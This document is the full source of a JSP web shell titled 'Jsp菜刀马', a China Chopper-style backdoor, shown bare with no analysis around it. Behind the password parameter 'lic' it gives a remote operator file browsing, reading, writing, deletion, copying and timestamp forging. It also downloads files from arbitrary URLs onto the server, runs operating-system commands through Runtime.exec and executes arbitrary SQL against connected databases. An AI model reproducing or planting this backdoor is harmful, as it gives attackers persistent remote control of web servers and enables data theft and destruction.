Jsp菜刀马

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
    <%!String Pwd = "lic";//sqzr
String EC(String s, String c) throws Exception {
            return s;
        }//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s) throws Exception {
            String[] x = s.trim().split("\r\n");
            Class.forName(x[0].trim()).newInstance();
            Connection c = DriverManager.getConnection(x[1].trim());
            if (x.length > 2) {
                c.setCatalog(x[2].trim());
            }
            return c;
        }
void AA(StringBuffer sb) throws Exception {
            File r[] = File.listRoots();
            for (int i = 0; i < r.length; i++) {
                sb.append(r[i].toString().substring(0, 2));
            }
        }
void BB(String s, StringBuffer sb) throws Exception {
            File oF = new File(s), l[] = oF.listFiles();
            String sT, sQ, sF = "";
            java.util.Date dt;
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            for (int i = 0; i < l.length; i++) {
                dt = new java.util.Date(l[i].lastModified());
                sT = fm.format(dt);
                sQ = l[i].canRead() ? "R" : "";
                sQ += l[i].canWrite() ? " W" : "";
                if (l[i].isDirectory()) {
                    sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
                            + "\t" + sQ + "\n");
                } else {
                    sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
                            + sQ + "\n";
                }
            }
            sb.append(sF);
        }
void EE(String s) throws Exception {
            File f = new File(s);
            if (f.isDirectory()) {
                File x[] = f.listFiles();
                for (int k = 0; k < x.length; k++) {
                    if (!x[k].delete()) {
                        EE(x[k].getPath());
                    }
                }
            }
            f.delete();
        }
void FF(String s, HttpServletResponse r) throws Exception {
            int n;
            byte[] b = new byte[512];
            r.reset();
            ServletOutputStream os = r.getOutputStream();
            BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
            os.write(("->" + "|").getBytes(), 0, 3);
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            os.write(("|" + "<-").getBytes(), 0, 3);
            os.close();
            is.close();
        }
void GG(String s, String d) throws Exception {
            String h = "0123456789ABCDEF";
            int n;
            File f = new File(s);
            f.createNewFile();
            FileOutputStream os = new FileOutputStream(f);
            for (int i = 0; i < d.length(); i += 2) {
                os
                        .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
                                .charAt(i + 1))));
            }
            os.close();
        }
void HH(String s, String d) throws Exception {
            File sf = new File(s), df = new File(d);
            if (sf.isDirectory()) {
                if (!df.exists()) {
                    df.mkdir();
                }
                File z[] = sf.listFiles();
                for (int j = 0; j < z.length; j++) {
                    HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
                }
            } else {
                FileInputStream is = new FileInputStream(sf);
                FileOutputStream os = new FileOutputStream(df);
                int n;
                byte[] b = new byte[512];
                while ((n = is.read(b, 0, 512)) != -1) {
                    os.write(b, 0, n);
                }
                is.close();
                os.close();
            }
        }
void II(String s, String d) throws Exception {
            File sf = new File(s), df = new File(d);
            sf.renameTo(df);
        }
void JJ(String s) throws Exception {
            File f = new File(s);
            f.mkdir();
        }
void KK(String s, String t) throws Exception {
            File f = new File(s);
            SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            java.util.Date dt = fm.parse(t);
            f.setLastModified(dt.getTime());
        }
void LL(String s, String d) throws Exception {
            URL u = new URL(s);
            int n;
            FileOutputStream os = new FileOutputStream(d);
            HttpURLConnection h = (HttpURLConnection) u.openConnection();
            InputStream is = h.getInputStream();
            byte[] b = new byte[512];
            while ((n = is.read(b, 0, 512)) != -1) {
                os.write(b, 0, n);
            }
            os.close();
            is.close();
            h.disconnect();
        }
void MM(InputStream is, StringBuffer sb) throws Exception {
            String l;
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            while ((l = br.readLine()) != null) {
                sb.append(l + "\r\n");
            }
        }
void NN(String s, StringBuffer sb) throws Exception {
            Connection c = GC(s);
            ResultSet r = c.getMetaData().getCatalogs();
            while (r.next()) {
                sb.append(r.getString(1) + "\t");
            }
            r.close();
            c.close();
        }
void OO(String s, StringBuffer sb) throws Exception {
            Connection c = GC(s);
            String[] t = { "TABLE" };
            ResultSet r = c.getMetaData().getTables(null, null, "%", t);
            while (r.next()) {
                sb.append(r.getString("TABLE_NAME") + "\t");
            }
            r.close();
            c.close();
        }
void PP(String s, StringBuffer sb) throws Exception {
            String[] x = s.trim().split("\r\n");
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1007);
            ResultSet r = m.executeQuery("select * from " + x[3]);
            ResultSetMetaData d = r.getMetaData();
            for (int i = 1; i <= d.getColumnCount(); i++) {
                sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
                        + ")\t");
            }
            r.close();
            m.close();
            c.close();
        }
void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
            int i;
            Connection c = GC(s);
            Statement m = c.createStatement(1005, 1008);
            try {
                ResultSet r = m.executeQuery(q);
                ResultSetMetaData d = r.getMetaData();
                int n = d.getColumnCount();
                for (i = 1; i <= n; i++) {
                    sb.append(d.getColumnName(i) + "\t|\t");
                }
                sb.append("\r\n");
                while (r.next()) {
                    for (i = 1; i <= n; i++) {
                        sb.append(EC(r.getString(i), cs) + "\t|\t");
                    }
                    sb.append("\r\n");
                }
                r.close();
            } catch (Exception e) {
                sb.append("Result\t|\t\r\n");
                try {
                    m.executeUpdate(q);
                    sb.append("Execute Successfully!\t|\t\r\n");
                } catch (Exception ee) {
                    sb.append(ee.toString() + "\t|\t\r\n");
                }
            }
            m.close();
            c.close();
        }%>


    <%
        String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
        request.setCharacterEncoding(cs);
        response.setContentType("text/html;charset=" + cs);
        String Z = EC(request.getParameter(Pwd) + "", cs);
        String z1 = EC(request.getParameter("z1") + "", cs);
        String z2 = EC(request.getParameter("z2") + "", cs);
        StringBuffer sb = new StringBuffer("");
        try {
            sb.append("->" + "|");
            if (Z.equals("A")) {
                String s = new File(application.getRealPath(request
                        .getRequestURI())).getParent();
                sb.append(s + "\t");
                if (!s.substring(0, 1).equals("/")) {
                    AA(sb);
                }
            } else if (Z.equals("B")) {
                BB(z1, sb);
            } else if (Z.equals("C")) {
                String l = "";
                BufferedReader br = new BufferedReader(
                        new InputStreamReader(new FileInputStream(new File(
                                z1))));
                while ((l = br.readLine()) != null) {
                    sb.append(l + "\r\n");
                }
                br.close();
            } else if (Z.equals("D")) {
                BufferedWriter bw = new BufferedWriter(
                        new OutputStreamWriter(new FileOutputStream(
                                new File(z1))));
                bw.write(z2);
                bw.close();
                sb.append("1");
            } else if (Z.equals("E")) {
                EE(z1);
                sb.append("1");
            } else if (Z.equals("F")) {
                FF(z1, response);
            } else if (Z.equals("G")) {
                GG(z1, z2);
                sb.append("1");
            } else if (Z.equals("H")) {
                HH(z1, z2);
                sb.append("1");
            } else if (Z.equals("I")) {
                II(z1, z2);
                sb.append("1");
            } else if (Z.equals("J")) {
                JJ(z1);
                sb.append("1");
            } else if (Z.equals("K")) {
                KK(z1, z2);
                sb.append("1");
            } else if (Z.equals("L")) {
                LL(z1, z2);
                sb.append("1");
            } else if (Z.equals("M")) {
                String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
                Process p = Runtime.getRuntime().exec(c);
                MM(p.getInputStream(), sb);
                MM(p.getErrorStream(), sb);
            } else if (Z.equals("N")) {
                NN(z1, sb);
            } else if (Z.equals("O")) {
                OO(z1, sb);
            } else if (Z.equals("P")) {
                PP(z1, sb);
            } else if (Z.equals("Q")) {
                QQ(cs, z1, z2, sb);
            }
        } catch (Exception e) {
            sb.append("ERROR" + ":// " + e.toString());
        }
        sb.append("|" + "<-");
        out.print(sb.toString());
    %>